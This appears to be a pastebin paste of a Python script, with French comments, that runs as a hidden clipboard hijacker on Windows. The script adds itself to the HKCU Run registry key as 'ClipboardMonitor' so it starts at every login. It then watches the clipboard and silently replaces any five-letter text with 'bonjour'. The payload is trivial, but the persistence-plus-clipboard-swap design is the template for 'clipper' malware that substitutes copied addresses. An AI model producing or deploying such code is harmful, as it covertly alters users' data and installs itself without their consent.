Untitled

 avatar
unknown
plain_text
a month ago
1.6 kB
4
Indexable
import os
import sys
import pyperclip
import time
import re
import winreg

def add_to_startup():
    # Récupère le chemin complet du fichier .exe en cours d'exécution
    exe_path = sys.executable

    # Chemin du registre pour les programmes au démarrage
    registry_key = r"Software\Microsoft\Windows\CurrentVersion\Run"

    try:
        # Ouvre la clé de registre pour modification
        key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, registry_key, 0, winreg.KEY_SET_VALUE)

        # Ajoute une valeur de chaîne avec le chemin du fichier .exe
        winreg.SetValueEx(key, "ClipboardMonitor", 0, winreg.REG_SZ, exe_path)

        # Ferme la clé de registre
        winreg.CloseKey(key)
        print("Ajouté au démarrage avec succès.")

    except Exception as e:
        print(f"Erreur lors de l'ajout au démarrage : {e}")

def monitor_clipboard():
    previous_text = ""
    while True:
        # Récupère le contenu actuel du presse-papier
        current_text = pyperclip.paste()

        # Si le contenu a changé
        if current_text != previous_text:
            previous_text = current_text

            # Vérifie si le texte contient exactement 5 lettres
            if re.fullmatch(r"[a-zA-Z]{5}", current_text):
                # Remplace par "bonjour"
                pyperclip.copy("bonjour")
        
        # Attente pour éviter une utilisation intensive des ressources
        time.sleep(0.5)

if __name__ == "__main__":
    # Ajoute au démarrage automatiquement
    add_to_startup()

    # Lance la surveillance du presse-papier
    monitor_clipboard()
Leave a Comment